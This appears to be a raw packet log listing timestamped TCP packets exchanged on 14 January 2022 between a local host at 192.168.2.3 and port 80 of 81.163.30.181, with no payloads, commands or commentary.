Jan 14, 2022 20:23:51.491473913 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.491487026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.491507053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.491575003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.491611004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.491637945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.491647005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.491748095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.491784096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.497169018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.503016949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.518970013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.519088030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546241999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546262980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546274900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546287060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546298027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546312094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546324968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546343088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546361923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546375036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546390057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546402931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546411037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546416044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546458006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546462059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546471119 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546482086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546499014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546510935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546525002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546544075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546552896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546555996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546570063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546572924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546583891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.546593904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546627998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.546644926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549246073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549263954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549279928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549295902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549310923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549328089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549340963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549345970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549362898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549376011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549381971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549396992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549403906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549415112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549422026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549439907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549457073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549460888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549474001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549491882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549499035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549508095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549525023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549525976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549542904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549560070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549560070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549576998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549592972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549609900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549626112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549627066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549643993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549647093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549679041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549698114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549700975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549710035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549715042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549734116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549750090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549751997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549771070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549788952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549804926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549806118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549824953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549838066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549844980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549876928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549879074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549900055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549912930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549918890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549937963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549948931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549954891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549973965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.549984932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.549992085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550010920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550029039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550039053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550045013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550062895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550070047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550081015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550097942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550100088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550134897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550276041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550292969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550309896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550328016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550344944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550343990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550364017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550381899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550394058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550400019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550412893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550419092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550435066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550436020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550455093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550472975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550472975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550492048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550509930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550527096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550529957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550544024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550558090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550565004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550570965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550584078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550601006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550616980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550635099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550643921 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550652981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550671101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550678015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550688028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550688982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550708055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.550741911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.550762892 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.565073013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.577681065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.577738047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.577861071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.595011950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.604962111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605026960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605068922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605106115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605158091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605196953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605190992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605246067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605247021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605252981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605288029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605328083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605365992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605405092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605410099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605420113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605446100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605484962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605525017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605539083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605562925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.605577946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.605603933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.607292891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.608817101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.608867884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.608912945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.608952045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.608973026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.608993053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609008074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609034061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609072924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609114885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609123945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609153986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609169960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609196901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609236956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609280109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609298944 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609319925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609333992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609359026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609397888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609436035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609451056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609481096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609484911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609539032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609594107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609632969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609646082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609673023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609683037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609713078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609750032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609787941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609797001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609827042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609837055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.609908104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609956980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.609999895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610038042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610038042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610048056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610080004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610119104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610156059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610169888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610196114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610203981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610235929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610279083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610320091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610333920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610358953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610373020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610399961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610440016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610479116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610491991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610518932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610526085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610558987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610600948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610641003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610651016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610680103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610694885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610721111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610759020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610773087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610796928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610836983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610874891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610889912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610908985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610914946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610919952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.610955954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.610992908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611032009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611046076 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611071110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611082077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611112118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611150980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611190081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611203909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611231089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611237049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611274004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611311913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611350060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611358881 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611390114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611399889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611428976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611469030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611506939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611521959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611547947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611556053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611588955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611627102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611681938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611689091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611721992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611730099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.611761093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611808062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.611859083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.612943888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.614845037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.635550976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.635607004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.635688066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.668941975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.668998957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669039011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669039011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.669080019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669118881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669125080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.669158936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669172049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.669200897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669239044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669279099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669292927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.669318914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669322014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.669357061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669397116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669434071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669440985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.669472933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.669476986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671032906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671072006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671112061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671150923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671163082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671184063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671191931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671232939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671233892 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671272993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671314001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671314001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671355009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671392918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671432972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671433926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671473980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671475887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671514988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671554089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671591997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671602011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671632051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671648026 CET	49866	80	192.168.2.3	81.163.30.181
